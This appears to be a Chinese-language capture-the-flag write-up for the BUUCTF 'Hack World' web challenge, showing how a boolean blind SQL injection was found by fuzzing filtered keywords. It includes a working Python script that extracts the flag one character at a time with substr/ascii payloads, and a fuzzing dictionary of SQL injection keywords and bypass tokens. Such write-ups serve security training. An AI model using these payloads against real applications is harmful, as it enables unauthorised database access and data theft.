BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World

BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World

打开题目,看提示貌似是一个sql注入的题目~~
进行简单测试,貌似不是报错注入,直接进行盲注测试,构造一波!!
抓包构造:id=1=(1)=1与id=1=(0)=1显示是不一样的:
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_第1张图片
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_第2张图片
我们可以根据页面显示来进行注入!!fuzz一波,看看过滤了啥!
在这里插入图片描述
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_第3张图片
482都是被过滤了的:
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_第4张图片
ok,ascii没有被过滤,substr也没有!!空格被过滤可以使用()代替,,<>也没有被过滤,=也没有
直接写脚本即可:

import requests
import base64
import sys
import string
import hashlib
import io
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')		#改变标准输出的默认编码,否则s.text不能输出
x = string.printable
flag = ""
url = "http://56039d8e-d2a3-4fc1-8195-3e18f2c1ea8c.node3.buuoj.cn/index.php"
payload={
	"id" : ""
}
for i in range(0,60):
	for j in x:
		payload["id"] = "1=(ascii(substr((select(flag)from(flag)),%s,1))=%s)=1"%(str(i),ord(j))
		s = requests.post(url,data=payload)
		#print(s.text)
		if "Hello" in s.text:
			flag += j
			print(flag)
			break
			
print(flag)

得到flag:
BUUCTF WEB [CISCN2019 华北赛区 Day2 Web1]Hack World_第5张图片
sql字典,自己搞的,漏了什么可以自己加:

select
from
ascii
substr
table
column
by
schema
where
extractvalue
exp
if
/
(
)
%
!
@
#
$
^
&
*
-
_
+
=
'
"
~
`
\
|
,
.
||
&&
order
updatexml
limit
And
Or
%23
 
<
>
regex
group_concat
table_name
table_schema
column_name
database
imformation
union select
ascii(substr())
(select(group_concat(table_name))
from(information_schema.tables)where(table_schema=database())
(ascii(substr((select(group_concat(flaaag))from(flag)),%s,1))=%s)
where(table_schema=database())

你可能感兴趣的:(CTF题,BUUCTF)